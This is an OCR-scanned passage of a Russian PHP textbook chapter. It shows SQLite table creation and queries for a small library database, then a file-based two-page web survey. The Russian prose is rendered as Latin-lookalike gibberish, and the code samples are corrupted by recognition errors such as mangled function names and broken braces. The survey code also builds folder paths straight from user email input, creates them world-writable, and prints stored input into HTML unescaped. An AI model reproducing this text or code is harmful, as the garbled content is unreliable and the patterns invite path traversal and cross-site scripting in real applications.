NPHUJIOKEHHE C OrPAaHHYEHHBIM UCTIOIb30BaHHEM 0a3bl JaHHBIX U Bbl YBEPEHHBI,
4TO JOCTYN K 3THM JaHHbIM OyJAeT OCyLIecTBIATbCS TObKO cpeactBamu PHP.
Bce, uTo BbI 1O/KHBI C/1€1aTh, YTOOBI HCMIOB30BaTh SQLite - cocnaTbhest Ha HEro
B BallleM Kojie.

|
Mpumeyanue. Ecnu Bbl ucnonbayete PHP 5.3, BamM HyXHO 06HO-

i BUTb Baw daitn php.ini, no6asne B HEro aupekTuBy extension=php_
i sqlite.dll. Ha MOMEHT HanucaHus 3TUX CTPOK AUPEKTUBA NO YMON4a-
HUI0 extension=php_sqlite3.dll

Kak u B cryuae c MySQLI, ansa noctyna k SQLite Toxe HCTO/Ib3yeTCss 0ObEKTHO-
OPHEHTHPOBaHHbBIN UHTEp(]ENC:

$db = new SQliteDatabase("c:/copy/library.sqlite”);

EnuncrBenHas Belb, KOTOPYIO BaM HY>XHO 3HaTh 00 3TOM OIepaTope: ecju 3a-
naHHblii aitn He cyuiecTByer, oH Oyzer co3aaH aas Bac. [laBaiiTe BepHeMcs
K HauleMy npumepy ¢ 6a3oil n1aHHbIX 6ubaHOTEKH. B npumMepe 8.2 Mbl co3naem
6a3y maHHBIX aBTOPOB U 100aBJisieM B Hee OJHY 3aMKCh.
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Mpumep 8.2. Ta6auua authors (B[ SQLite)
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$sql = “CREATE TABLE ‘authors’ (‘authorid’ INTEGER PRIMARY KEY, ‘name’ TEXT)";

if (I$database->queryExec($sql, $error)) {
echo “Own6ka npu cozpanumn 1abnuus - { $error}<br />*;

}
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else {

echo "Tabnuua Authors cospana <br />";
}
$sql = <<<SQL
INSERT INTO 'authors' ('name') VALUES ('Tonkuw');
INSERT INTO 'authors' ('name') VALUES ('Anekc Xeiinu');
INSERT INTO 'authors' ('name') VALUES ('Tom Knaucu');
INSERT INTO 'authors' ('name') VALUES ('Aiisex Asumos');
SQL;
if (1$database->queryExec($sql, $error)) {

echo "C6oi scrasku - { $error}<br />";

}

else {
echo "INSERT & Authors - OK<br />";
}
Tabnuua Authors cosnana
INSERT & Authors - OK
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B SQLite B oriinure ot MySQL Her onumu AUTO_INCREMENT. BMmecTo atoro

SQLite menaer moboe mnoJe, onpeaeneHHoe kak INTEGER ¥ PRIMARY KEY , kak

1oJie C aBTOMaTHUYECKUM yBejindeHneM. Bbl MoXkeTe nmepeonpeiesuTh 3TO NOBe-

JeHue, YkasaB 3HaueHue B SQL-oneparope INSERT npu BcraBke 3anucu. O6pa-

THUTE BHUMaHHMe, uTo B SQLite TUIBI JaHHBIX HEMHOTO OTJIMYAIOTCS OT T€X, KOTO-

pbie ucnosb3yotest B MySQL. TlomuuTe, uto SQLite - obneryennslii (“ypesat-
o 9

HbIi") HHCTpYMeHT 6a3 MaHHbIX, NomaepxKuBaeMbie SQLite TUIIBI TaHHBIX TIPe-
cTaBJjieHbl B Tabsuie 8.1.

Tabnuua 8.1. Tunb aaHHbIX, aocTynHbie B SQLite

Tun AaHHBIX O6bacHeHne

Xpanut paHHble kak NULL, TEXT unu BLOB-coaepxumoe. Ecnu TekcTo-
Text BOMY nonio 6yaeT NpMCBOEHO YMCNO, OHN cHavana 6yaeT kKoHBepTUpPOBa-
HO B TEKCT NEpe COXpaHEHUEM

MoXeT XpaHuUTb Lenble UNKn BELECTBEeHHbIE AaHHble. Ecnu Takomy nonio
Numeric 6yneT NpuUCBOEHO TEKCTOBOE 3HayeHue, Bynet npeanpuHATa NonbiTka
KOHBEPTUPOBaTb UHGOPMALMIO B YUCNOBOM opmar.

Benet cebs Tak xe, kak U TMN AaHHbIX NUMeric, 0AHaKo ecnu TakoMy nonto

Integer 6yneT NpUCBOEHO BeLEeCTBEHHOE 3HaYeHWe, OHO ByneT coxpaHeHo Kak
uenoe
Bepet cebs Tak Xe, KAk U TUN AAHHBIX NUMEriC, 0AHAKO €CNU TaKoMy
Real nonio 6yneT NpUCBOEHO Lenoe 3HayeHre, oHo ByneT CoxpaHeHo Kak Be-
LW eCTBEeHHOE

3710 - BceobbeMnowmin TMN AaHHbIX. JaHHble 6yayT XpaHUTbCA TOYHO Tak
Xe, Kak NpeacTaBneHsbl.
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Kon u3 npumepa 8.3 cosmaet Tabauily books H BCTaBJISIET HEKOTOPbIE AaHHbIE
B (haii1 6a3bl TaHHBIX.

Npumep 8.3. Tabauwua books (SQLite)

$db = new SQliteDatabase("c:/copy/library.sqlite”);

$sql = “CREATE TABLE ‘books’ (‘bookid’ INTEGER PRIMARY KEY,
‘authorid’ INTEGER,
‘title” TEXT,
‘ISBN’ TEXT,
‘pub_year’ INTEGER,
‘available’ INTEGER)”;

if ($db->queryExec($sql, $error) == FALSE) {

echo “C6oit npu coapanmuu Tabamus - { $error}<br />*;
}
else {

echo “Tabnuua Books cozpana<br />”;

}

$sql = <<<SQL

INSERT INTO books (‘authorid', itle', 'ISBN', 'pub_year', ‘available')
VALUES (1, 'Oee bawuu', '0-261-10236-2', 1954, 1);

INSERT INTO books (‘authorid', itle!, 'ISBN', 'pub_year', ‘available')
VALUES (1, ‘Bosepawenue kopons’, '0-261-10237-0', 1955, 1);
INSERT INTO books (‘authorid', 'title!, 'ISBN', 'pub_year", ‘available’)
VALUES (2, 'Kophw', '0-440-17464-3', 1974, 1);

INSERT INTO books (‘authorid’, 'title!, 'ISBN', 'pub_year, ‘available')
VALUES (4, ' - pobor’, '0-553-29438-5', 1950, 1);

INSERT INTO books (‘authorid!, 'itle’, 'ISBN, 'pub_year, 'available')
VALUES (4, ‘OcHoeanue’, ‘0-553-80371-9, 1951, 1);

SQL;

if (1$db->queryExec($sql, $error)) {
echo “C6oii Insert - { $error}<br />";
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}
else {

echo “INSERT & Books - OK<br />";
}

OO6paThTe BHUMaHHWE, YTO Bbl MOXETE BBIMIOJHUTb HECKOJIbKO SQL-KoMaHa
3a ofiMH pa3. ITO BO3MOXHO M ¢ nomomwpbio MySQLi ¢ nmomoupio MeToza
multi_query(), B SQLite MoXHO HCNOAB30BaThb TOT K€ METOJ queryExec.
[Tocsie BctaBky B 6a3y JaHHBIX HEKOTOPbIX IaHHBIX BBIMIOJIHUTE KO/ U3 IPUMeEpa
8.4, 4T0ObI YTO-HUOYIb BBIBECTH J1JISI IPUMEDA.
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Mpumep 8.4. Buibop kuur (SQLite)

$db = new SQliteDatabase("c:/copy/library.sqlite”);
$sql = “SELECT a.name, b.title FROM books b, authors a WHERE a.authorid=b.authorid”;
$result = $db->query($sql);

while {$row = $result->fetch()) {
echo “{$row['a.name’]} - asTop kHuru { $row['b fitle']}<br/>";

IR NSNS SIS I NN NN S I NN NREEEN

BrluienpuBeieHHbIIT KO BbIBEJET CeqyIONIee:

TonkuH - astop kHuru [lee 6aiwmm

Tonkuh - asTop kHuru Bosepatiexue kopons
Anexc Xennu - asTop kHuru Kophu

Ansek Aaumos - asTop khuru - pobot
An3ek Azumos - asTop kHuru OcHosanme

Y SQLite ecTb npakKTHYECKH BCE BO3MOXHOCTH, KOTOpbIE €CTb y “60biinx” 6a3
JaHHBIX, a “lite” Gosblile 03HaYaeT He OrpaHMYEHHYI0 HDYHKIIMOHATBHOCTD, a He-
6osb110€e TOTpebIeHe CUCTEMHBIX pecypcoB. Eciin BaM Hy>HO co3aaTh IpHJIO-
XeHHe, pacxoyiolee MUHUMYM CHCTEMHBIX PECYPCOB, Bbl IPOCTO 00si3aHbI 06-
paTHTb cCBOe BHUMaHue Ha SQLite.

Npumeuyanne. Bol moxeTe ncnonb3osats PDO ana B3anmopen-
cteusa ¢ SQLite. Takum 06pa3om, Bbl MOXETE HavaTb NCNONL30BAThL
nerkyio 6a3y gaHHbIX, @ NOTOM NepenTn Ha 6onee “Taxenyio”, Ha-
npumep, Ha MySQL, no mepe HeobxoanmocTu. it

e

8.5. Pabota c aaHHbIMK yepe3 npamoe
MaHunynuposanue dpanamm

SA3bik PHP conepxuT B cebe MHOXECTBO CKPBITHIX I10JIE3HBIX BO3MOXHOCTEH, KO-
TOpbIe B HEM IIpeyCMOTPEHbI, HO KOTOpble He BHAHBI Ha NEPBbIi B3TJs U UC-
NOJIb3YIOTCST 0BOJIbHO penko. Ho Metko. Onnoii u3 takux ¢yHnkumii (kotopas
4aCTO MPOMNYCKAETCsI) — SIBJSIETCSI €70 110 CYTH CBEPXbECTECTBEHHAS CIIOCOOHOCTD
obpabarbiBaTh ca0XHbIe (ailibl. YBepeH, Bce 3HatoT, 4To PHP MoxeT oTkpbITh
¢aits1, Ho YTO MOXCHO IIOTOM CZeJIaTh C 3TUM (ailIoM 3HAIOT JaJIeKo He BCe.

[la ¥ Moe BHUMaHMe B paMKax pelleHUs TPaKTUYECKUX 33124 3TH (PYHKIIMHM NPU-
BJIEKJIM JJaJIeKO He cpa3y. Y MeHs NOSIBUJICS KJIMEHT, Y KOTOPOTro “NipaKTHYecKH
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He ObLIO AeHer”, HO KOTOPbIHA XOTesl AMHaMH4YecKoe BeO-nmpuioxenue. Koneu-
HO, TIEPBBIM /I€JIOM $1 IPEJIOXKUJI KJIMEHTY YyJECHBI BADHAHT, OCHOBAaHHBIN Ha
ucnosnb3zoBauuu PHP B couerannn ¢ MySQLI. KineHnt ocBeqoMuicst y mMect-
HOT'O XOCTHHT-TIPOBaii/iepa, KakoBa OyIeT eXxeMecsiyHas IJiaTa 3a pa3MelleHHe
TAKOTO peIlleHHs], U B pe3yJIbTaTe MOMPOCUJ MEHs MPUAYMaTh YTO-TO elle, Me-
Hee HAKJIAJIHOE, TaK KaK OH ObLT HE B COCTOSIHUH OIJIAYHBATh €XKEMECYHYIO TLIa-
Ty. Sl moxyMan, ¥ mpuUILeNn K BIBOLY, YTO OKa3bIBAETCs], €CIU BBl HE XOTUTE HC-
nosb3oBatb MySQLi/SQLite, ecTb apyrasi ansTepHaTHBa - UCIOJIb30BaTh (aii-
JIBl [171s1 yOpaBJIeHUsI HeOOMbIIMMHU KOJTMYECTBAMU TEKCTOBBIX AaHHBIX. DyHK-
LIMH, KOTOPbIE MBI PACCMOTPHM J1aJiee, He SIBJISAIOTCS Y€M-TO HEOOBIYHBIM, (haKTH-
4eCKH OHU BXOJST B OCHOBHOM Habop uHctpymentoB PHP (cm. Taba. 8.2).

Tabnuua 8.2. Yacto ucnonbayemsie GpyHkumm ynpasneHus daitnamu

Uma byHkumn OnucaHuwe

mkdir() Wcnonb3yeTcs Ans co3aaHvs karanora Ha cepsepe

file_exists() [Mo3sonseT onpenenvTb, CyweCcTBYET NN yKa3aHHbIA dann nnm ka-

= Tanor

fopen() OTkpbIBaET CywWwecTByOWmMA pann anNsa YTEHU] Un 3anucum (CMm. na-
P pamMeTpbl ANs NPaBUNLHOr0 UCNOML30BaAHUS)

fopen() YuraeTt cogepxumoe daina B nepeMeHHyIo

flock() MNcnonbayeTtca Ans nony4eHns 3KCKNI03MBHON Gnoknposku daina

Ans 3anucum
fwrite() 3anuvcbiBaeT CoaepXUMoe NepPeMeHHoN B dain
fclose() 3akpbiBaeT daiin, ecnm oH 6onblue He HYXEH

OcHoBHast Marusi COCTOMT B TOM, YTOOBI CBS3aTh BCe 3TH (HYHKIMH BOEJUHO /151
pellleHHs MOCTaBJIeHHOM 3aaud. B kayecTBe mpuMepa JaBaiiTe co3maiuM He-
6oub11yI0 BEG-(OPMY OIpoca, COCTOSIYIO U3 AByX cTpanull. [losb3oBatesb Mo-
JKeT BBECTH OTBETHI HA HEKOTOPbIE BOMPOCHI U BEPHYTHCS MO3XKeE, YTOObI 3aKOH-
YUTh ONPOC C TOTO MECTa, HA KOTOPOM OH OCTaHOBHUJICSA. MBI CHayasa HamuIeM
JIOTHKY HaIllero HeGOoJIbIOro MPUJIOXKEHHS, a 3aTEM MTOKAXKEM, YTO OHA MOXKET HC-
MOJIb30BATHCS U B PEATIbHBIX CJOXKHBIX TIPUIOKEHUSIX.

IlepBoe, YTO MBI XOTHM CEJNaTh - 3TO MO3BOJUTH TMOJH30BATENI0 BEPHYTHCS
K OMpOCy B Ji060€ Bpemsi, YTOObI MPOIOJIXKUTH €ro 3anosiHenue. [1jis toro, 4to-
Obl clies1aTh 3TO, MBI HYX/IaeMCA B YHUKAJIbHOM HAEHTH(HUKATOPE, KOTOPbIi 110-
3BOJINJI ObI OTJIMYATD OJTHOTO MOJIb30BATEJIsI OT APYroro. B mpuHIMIIE MbI MOXeEM
HCII0JIb30BaTh ajipeca 3JeKTPOHHOM mouThl. O6BIYHO, afpec 3JEKTPOHHOM Mo-
YTbI YeJIOBEKA YHUKAJIEH (Jpyrye JIOAU MOTYT 3HAaTh U UCI0JIb30BaTh €r0, HO 3TO
yoKe BOIpoc 6e30MacHOCTH CailTa M/UJIH KOHTPOJIsS XMILIEHUEM JIMYHBIX JaHHbIX ).
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Paau npocToThl Mbl OyIeM PacCYUTHIBATH HA YECTHOCTD TOJIb30BATEIEN TPH HC-
TI0JIb30BaHMH aIPECOB 3JIEKTPOHHOM MOYTHI M He Oy /1EM CO3/1aBaTh CUCTEMY TIPO-
BepKH napoJisi. Kak Toybko y Hac ecTb apec 3JIeKTPOHHOMN MOYTHI II0JIb30BATES,
MBI IOJKHBI COXPAHUTh BBEJEHHYIO T0JIb30BaTeeM NHGOPMALIMIO B PacioJio-
JKE€HUH, OTJIMYHOM OT PaCMoJIOXKEHHH IPYyrux noJyib3oparesieil. C 3TON 1EJbIO MbI
OymeM co3maBaTh MAnkKy AJisi KaKI0To MOCETUTENSI Ha cepBepe (KOHEYHO, Y Bac
JOJDKEH ObITh TOCTYM M HaAJIeXall[e npaBa, pa3peniailie Ha CEPBEPe YTEHHE
U 3anuch (aisoB). Tak Kak y Hac €CTb OTHOCHUTEIbHO YHUKAJbHBIA UIEeHTHUDU-
KaTop B BUJIE a/ipeca 3JIEKTPOHHOM TIOUThI TOCETUTEIS], B KAYeCTBE HA3BaHUH Ka-
TAJIOrOB MbI 1 6y/1EM HUCIOJIb30BaTh 3TH afipeca. Kak Tosbko karasor 6yzaer cos-
JIaH, TIPH KaXIOM MOCJIeIylIeM MOCEIEHUH MOJb30BaTe sl Mbl TPOYUTAEM HME-
IolMecs: B HeM (aiJibl OTBETOB HAa BOMPOCHI M BBIBEIEM UX CONEPKHUMOE B TETE
<textarea>, TO3TOMY MOCETUTEJb YBUAUT BCE, UTO OH HAMUCal paHee. 3aTeM
MBI COXPaHHUM €ro NMOTNPaBKH U TMepeieM K CJIEYIOEMY BOTIPOCY Halllero OTpo-
ca. B npumepe 8.5 npuBeqeH Ko/ 1151 TIEPBOI CTPAHMIIBI.

flpumep 8.5. Joctyn k datinam

<2php
session_start();

if (lempty($_POST['posted']) && lempty($_POST['email'])) {
$folder = “surveys/” . strtolower($_POST['email']);
// oTnpasnsem uHPOpMaLUMIO O NYTH B CECCHIO
$_SESSIONT['folder'] = $folder;

if (Mfile_exists($folder)) {
// coanaem xaranor, a 3atem aobaensem B Hero nycTbie ¢ainbl
mkdir($folder, 0777, true);
)
header("Location: 08_6.php”);
)
else { &>
<html>
<head>
<title>Paint & nanku - onnaiH onpoc</title>
</head>

<body bgcolor="white” text="black">
<h2>®opma onpoca</h2>

<p>Toxany#cra sBeauTe Baw e-mail Ans Ha4ana 3anucK Balwmx KommeHTapues</p>

L N Y T Y S Y R L)
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<form action="<2php echo $_SERVER['PHP_SELF']; 2>" method="POST">
<input type="hidden” name="posted” value="1">
<p>Aapec e-mail: <input type="text" name="email" size="45" /><br />
<input type="submit” name="submit” value="Ornpasuts”></p>
</form> '

</html>
<¢php }

Be6-cTpanuiia, 3anpauirBaolias oceTuTe sl BBeCTH ero e-mail aapec, uaobpa-
xeHa Ha puc. 8.1.

dopma onpoca

P— i e i s - |

| OrnpasuTy, :l

Puc. 8.1. Bxoa B onpoc

Kax BbI BUiKTE, NEPBBIM 1€JIOM MbI OTKPBIBAEM HOBYIO CECCHIO, YTOOBI NEpeaaTh
MHGOPMALMIO O MMOCETUTEE MOCIEAYIOUIMM CTPaHULIaM. 3aTeM Mbl OINpPeaeis-
€M, OTIIPABJISLJI JIK UTO-TO HaM I10J1b30BaTeIb U €CTh JIM UTO-TO BBEJIEHHOE B I10JIE
azpeca 3JIEKTPOHHOM mouThl. Ecaiu Mbl nosydyaem 3HaueHue false, MbI IPOCTO
BbIBOAUM (opMy. KoHeuHO Xe, ecsiu fasblile « 10MUJIMBaTh» HAlll IPUMEP, TO MbI
JOJIKHBI €ellle OTIIPaBUTh coobieHre 06 omubKe MoJIb30BaTEN0 U TpeOOBaHUE
BBECTH /IONYCTUMBIN TEKCT.

Ecnu xe TecT npoiaeH (Mbl OJyYUJIM 3HaYEHUE true), YTO O3HAYaeT KOPPEKT-
HOe BBeJleHHe 3JIEKTPOHHOW MOYThI, MBI CO3/1aeM NepeMeHHYIo $folder, conep-
JKal[yl0 CTPYKTYPY KaTaJIOrOB, Iie Mbl XOTUM COXPaHUTb Hall OMPOC U MpUcoe-
JMHsIEM K Hel aapec e-mail nosb3oBatens. Mbl TakXKe COXpaHsieM COAEPKUMOe
TOJIBKO YTO CO3[aHHON nepeMeHHOW $folder B ceccuu AJs1 MoCeAyOlIero uc-
N0JIb30BaHUsl. 3/ech AJ1s1 HAeHTUDUKALMHY 0Ib30BaTEs1 Mbl MCIIOJIb3YEM a/ipec
3JIEKTPDOHHOM MOUTHI, HO B PeajIbHbIX YCJIOBHUSIX Mbl JOJIXXHBI 3aL[UTUTb JaHHbIE
Y IPUAYMAaTh, KaK AJ1s1 KaXK0T0 M0J1b30BaTe sl XPaHUTh €ro NapoJib.

[lanee MbI npoBepsieM, CyIECTBYeT JIM KaTajor. Eciu kaTajor He cyuiecTByer,
MBI CO3/1aeM ero ¢ nomMouibio GyHKUUHN mkdir(). ITa QYyHKIMS NPUHUMAeT B Ka-
YyecTBe apryMEHTOB MMsl CO3/1aBaeMOro KaTaJjlora 1 MbITaeTcst CO3/aTh ero.
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4> Mpumeuanue. B cpepe Linux/UNIX Mbl 4ONXHbI Takke 3aaaTtb npa-

¥ Ba QOCTyna Ansi HOBOro karasora, no3Tomy He 3abyabre ykasaTb

npasa focTyna, ecnu Bol paboTaete B Linux, unu Linux yctaHoBneHa

Ha cepBepe XOCTUHIr-nNpoBanaepa, Ha KOTOPOM Bbl 3anyckaeTe pac-
CMaTpuBaeMsblii CUEHapUii.

L e s G s T A S S

Ecam kartasor cyuecTByer, Mbl MPOCTO MepeHanpasJisieM Gpay3ep Ha MEPBYIO
CTPaHUILy OIpPOCa, MoKa3aHHy1o Ha puc. 8.2. [lanHas ¢hopMa reHepupyeTcst AWHa-
MUYECKH, KaK TOKa3aHO B puMepe 8.6.

Tloxkanyiicta BB€ZMTE Bam OTBET Ha CREIVIOMMIE BOMPOC Hamero onpoca

| Omnpasurs

Puc. 8.2. Nepean cTpaHuua onpoca

flpumep 8.6. ocryn x Paiinam, npogomkenve

R RN NS S SN SN A N R R RN NN U N NN SR AN AN R R R R AN S SN N RN AN

<2php
session_start{);

$folder = $_SESSION['folder'];
$filename = $folder . “/question 1 .txt" ;
$file_handle = fopen|$filename, "a+");

// oTkpbiBaem $Gain Ans YTEHUS, 3TEM OUMLLAEM €ro

// Becw Tekct u3 daitna Byaet B 3ToM nepemeHHOM

$comments = fread( $file_handle, filesize($filename));
fclose($file_handle); // 3axpbiBaEM 3TOT AeckpunTop

NSNS U NSRRI NI AN AR IR WA



Fnasa 8. Ba3bl AaHHbIX

if (lempty($_POST['posted’])) {
// coanaem daiin u 3atem
// coxpansem s Hem TecT u3 $_POST['question1’]
$question1 = $_POST['question1'];
$file_handle = fopen($filename, "w+");
// nonHas nepesanucs daina
if (Rock($file_handle, LOCK_EX)) {
// 3xckno3mneHas Bnokuposka
if (fwrite($file_handle, $question1) == FALSE) {
echo "He mory 3anucarts 8 ¢paiin ($filename)”;
)
flock($file_handle, LOCK_UN);
/ ocsoboxpaem 6Gnoknposky

}

// 3akpuiBaem daitn u nepenanpasnsem 6pay3ep Ha CNeayIOLLYIO CTPAHULY
fclose($file_handle);
header( “Location: page2.php” );

} else {
2>
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i <html>
.

. <head>
- . - - .
- <title>Paiine & nankw - onnaitn onpoc</fitle>
-
-
:
-
5
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-
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</head>
<body>

<table border=0><tr><td>
MoxanyiicTa BBeanTe BOW OTBET HA CNEAyIOWMIA BONPOC HAWEFO ONpOCa:
</td></t>
<tr bgcolor=lightblue><td>
Y70 BbI AyMaETE O COCTOSIHUN MUPOBOWN 3KOHOMMKKE <br/>
Moxerte nu Bbl NOMOYL HOM UCNPABUTE CUTYALMIO?
</td></tr>
<tr><td>
<form action="<2php echo $_SERVER['PHP_SELF']; 2>" method=POST>
<input type="hidden” name="posted” value=1>
<br/>
<textarea name="question1” rows=12 cols=35><?= $comments 2></textarea>
</td></tr>
<tr><td>
<input type="submit” name="submit” value="Ornpasuts">
</form></td></tr>
</table>
<gphp } >
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Pa3sperte MHe 06paTUTh Ballle BHUMaHHE Ha HECKOJIBKO CTPOYEK MPEACTABJIEH-
HOTO 3/1eCh KO/Ia, TOCKOJIbKY B HEM BBIMTOJIHSIIOTCSI peasibHble onepauuu ¢ ¢aii-
jgamu. [Tocsie Toro, kKak Mbl MOJTYYHIM HHGOPMALIMIO U3 CECCHM, Mbl 100aBJIsI-
eM K Hell uMs ¢aiiia M 3aITMCbIBaeM IOJYYUBUIMICS PE3YJIbTAaT B IEPEMEHHYIO
$filename. C 3TOr0 MOMEHTa Mbl TOTOBbI HauyaTh paboTy ¢ dainamu. [TomHure,
4TO Ha JAaHHOM 3Talle 3TOro MPOLIECCa MbI J0JDKHBI 0TOOpa3uTh J10bOyI0 UHDOP-
MaluIo, KOTopasi MOXeT ObITh B (baiijie ¥ MO3BOJIUTD MMOJH30BATENSIM TIPOCMO-
TPETh ee (I UI3MEHUTD TO, UTO OHH y>Ke BBesiK ). [l03TOMy B Hauasie Koaa Bbl BU-
JIUTE CJIENYIOUIYI0 KOMAHLY:

$file_handle = fopen($filename, “a+");

Ucnonb3yst dyHKUMIO OTKPBITHS (aiina, fopen(), Mbl mpocum PHP mpenocra-
BUTb HaM Jeckpunrtop daiia, KOTOPbI MBI COXPaHHM B IlepeMEHHOH $file_
handle. O6paTuTe BHUMaHWe Ha BTOPOIl mapameTp 3Toit dbyHKuuK - o+ Ecau
BbI 3arasHuTe Ha caiit PHP (www.php.net), Bbl yBUANTE MOJHBINA CIIMCOK Ma-
paMeTpoB 3TOH HYHKLUH U ONMCaHKe, YTO OHM O3HAYaloT. B 1aHHOM ciyyae Mbl
oTKpbIBaeM GaiJi AJ1 YTEHUS U 3alUCH, a yKa3aTesb (aiia MoMelaeTcsi B Ko-
Hely Jiroboro copepxumoro daitna. Eciu daiin ve cymectsyer, PHP noneitaer-
Cs1 CO3/1aTh €ro.

Ecuu BbI B3rIsIHETE HA JBE CJIEAYIOLINX CTPOYKH KOJIA, BbI YBUJUTE, YTO MbI IIPO-
yyTanu Bechb Gaiya cpady ¢ nomoubio GYHKUMH file_get_contents B Iepe-
MEHHYIO $comments, 2 3aTEM 3aKPbLJIU ETO:

$comments = file_get_contents($filename));
fclose($file_handle);

Jlasiee Mbl IpoBepsieM, GbLIO JIM yCTAHOBJIEHO MOJe posted. Ec/im 310 Tak, TO
MbI coxpaHsieM Jiio6yio nHbOpPMaIMio, BBEJEHHYIO B <textarea>. MbI CHOBa OT-
KpbiBaeM ¢ai1, HO yxe ¢ w+. B pe3ysibTaTe HHTEpIIpeTaTOp OTKPOeT Haitsl TOJb-
Ko aus 3anucu. Ecau daitn He cyectByeT oH OyzeT co3aaH, ecau dhai cyiue-
CTBYeT, OH Oy/eT nepe3anucal. YkasaTesb ¢aiia moMelaeTcss Ha Hayaso aii-
sa. Ilepen camoit 3anMChIo MbI ITOJTy4aeM 3KCKJIIO3UBHBIN JOCTYT K ¢aiiiy, a rno-
TOM (IOCJIE 3AITMCH ) CHUMaeM BJIOKHPOBKY:

// nonuas nepesanuce paitna
if (flock($file_handle, LOCK_EX)) {
// 3xcknio3usrHas Bnokuposka
if (fwrite($file_handle, $question1) == FALSE) {
echo "He mory sanucars & ¢paiin ($filename)”;

)
flock($file_handle, LOCK_UN);
// ocsoboxaaem Bnokuposky
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Ham HyxHO y6eanTbCsi, YTO IMEHHO BBEIEHHAs MOJIb30BaTeleM MHGOPMaLUs
Oyzer 3anucaHa B 3TOT (aiiJ1, Jisi 3TOr0 HaM ¥ HYXHa 3KCKJII03UBHast 6JI0KUPOB-
Ka (KOTOpYIOo Mbl MnoJjy4aem ¢ nomouibio dyHKuuu flock()), noapossoias Ham
ObITh YBEPEHHBIMH, YTO HA OAUH APYrOi MPOLECC HE CMOXET 3aluCaTh 4YTO-TO
B ¢aiis1, noka Mbl pabotaeMm ¢ HuM. [locJie OCyleCTBIEHUS 3aMUCH Mbl CHUMaeM
6J10kMpOBKyY. B Hawem cayyae pabora ¢ 610KMPOBKO# cyry60 1€eMOHCTPAaTHBHA,
TMIOCKOJIbKY 3JIEKTPOHHBIN afpec YHUKaNeH U HM OAUH APYToii npouecc He byaet
NbITAThCS MOJYYUTD JOCTYM K 3TOMY Xe haily, pa3Be 4TO KTO-TO elie OyaeT uc-
M0J1b30BaTh TaKOH ke e-mail.

Kak Buaute, ¢dynkuus 3anucu daitna ucnosnbdyer $file_handle, uTobbl m06a-
BUTb COIEPXKHUMOE NepeMeHHOi $question] B ¢aitn. 3aTteM Mbl MPOCTO 3aKpbl-
BaeM ¢ail1 U nepexoavM Ha CJIEAYIOLLYIO CTPAHMLY Halllero ornpoca, NoKasaH-
HYI0 Ha puc. 8.3.

Hoxcanyﬁcra BECOHTC Baml OTBET Ha CJIC}IY!OIIIHI‘:{ BOMNPOC HamETo onpoca:

m:ﬂm . ceobona. A indcto B BTy, mmmoﬁoﬁmm&m

.ueﬁmumxo cnoGom{sm, KOrZia y Hac Bce eme e« nq;-cquanwoe "mlymemo. _
me MoxeTe mwmm?w e " ey

Puc. 8.3. Bropas cTpanuya onpoca

B npumepe 8.7 npuBeneH Koa st BTOPOM CTPAHHULbI ONPOCA, CaM KOJl aHaJIOTU-
YeH MpeablAyLIeMY, 3a HCKIIOYeHHeM UMeHH (aiisa, B KOTOPOM Mbl OyleM xpa-
HUTb OTBET M0J1b30BaTeJs1 (Ternepb OH Ha3blBaeTCs question?.txt).
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{ipumep 8.7. focTyn Kk daiinam, NPOROMKEHNE

<2php

session_start();

$folder = $_SESSION['folder");
$filename = $folder . “ /question2.txt” ;
$file_handle = fopen($filename, “a+");

// oTkpuiBaem $ain ans YTeHUs, 3aTEM ONULLAEM ero
// Beck Tekct u3 daiina Gyaet 8 3TOM NepeMeHHOM

$comments = fread($file_handle, filesize($filename));
fclose($file_handle); // 3akpeieaem 3tot aeckpuntop

if ($_POST['posted’]) {
// coanaem daiin u aatem
// coxpansiem B Hem Tect u3 $_POST('question2’]
$question2 = $_POST['question2'];
file_handle = fopen($filename, “w+");

// otkpuisaem daiin ans nepesanmcy
if (flock($file_handle, LOCK_EX)) ( // 3xcknioausHas 6nokuposka
if (fwrite($file_handle, $question2) == FALSE) {
echo “Cannot write to file ($filename)”;

}
flock($file_handle, LOCK_UN); // chnumaem 6noxkuposky
}

// 3axpuiBaem peckpuntop ¢aina u nepexanpasnsem Gpaysep Ha cnea. CTpaHULy
fclose($file_handle);
header( “Location: last_page.php” );

} else {
2>

<html>
<head>
<title>Paiins & nanku - ounaiH onpoc</title>

</head>

<body>
<table border=0><tr><td>

Moxanyiicta, BBeANTE BAW OTBET HA CNEAyIOWMIA BONPOC HAWEFo ONpoca:

</td></tr>

<tr bgcolor=lightblue><td>
3abaeHas wryka - ceoboaa. 4 umero & Buay, kak MoxeT nioboi ua Hac BuiTb<br>
AENCTBUTENBHO CBOGOAHBIM, KOTAA Y HOC BCE €LLE €CTh NEPCOHANBHOE MMYLLECTBO.
<br>
Kak Bbl MOXETE 3TO NPOKOMMEHTHPOBATLS

Tl T I T T T T T T T T R R T R R R R N Y]
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: </td></tr>

. <tr><td>

. <form action="<2php echo $_SERVER['PHP_SELF']; 2>” method=POST>
<input fype="hidden” name="posted” value=1>

E <br/>

: <textarea name="question2” rows=12 cols=35><2= $comments 2></textarea>
: </td></tr> .

. <tr><td>

. <input type="submit” name="submit” value="Otnpasuts”>

: </form></td></ir>

: </table>

<2php ) >

Takoe ucnosnb3oBanue GailioB MOXKET NPOJAOJKATBCS CTOJIBKO, CKOJIBKO BaM
HY>KHO, TO3TOMY BalllX OMPOCHI MOTYT ObITh HY>KHO# BaM A1MHbL. YTOOBI cENaTh
ux 6osiee MHTEPECHBIMH, Bbl MOXKETE 33/1aBaTh HECKOJIbKO BOIPOCOB Ha OJHOU
CTpaHHIle U MPOCTO 3AMUCHIBATh KaX[Iblii OTBET B CBOM cOOCTBEHHbIH (aii.
EnuHCTBEHHDI MOMEHT, Ha KOTOPBI BaM HY>KHO 0OpaTUTb BHUMaHHWE - CTpa-
HMIIA C MIOCJIeIHUM BOIIPOCOM NepeHanpasJisier Opay3sep Ha cTpanully last_page.
php. [lanHas cTpaHuIa He NpeACTaBleHa B IPUMEpAX, MIOCKOJIbKY OHA MPOCTO
6arofapuT nosb30BaTeSIS 3a TO, YTO OH YU BpEMs HaleMmy Onpocy.

KoHeuHo, nocjie HeCKOJIbKUX CTPAHHI] OMPOCA C MATHIO BONPOCAMHU HA KaXA0H
CTPaHMUIIE, Bbl 3aMETHUTE, UTO y BaC MOSIBUJIOCh MHOTO OTAEJIbHBIX (haljIoB, KO-
TOpble HyxaaloTcs B ynpasienuu. K cuactoio, y PHP ectb apyrue, 6osee yno6-
Hble, GyHKIMK 06paboTKH (HaitoB, KOTOPbIE Bbl MOXKETE UCIOJIb30BaTh. DyHK-
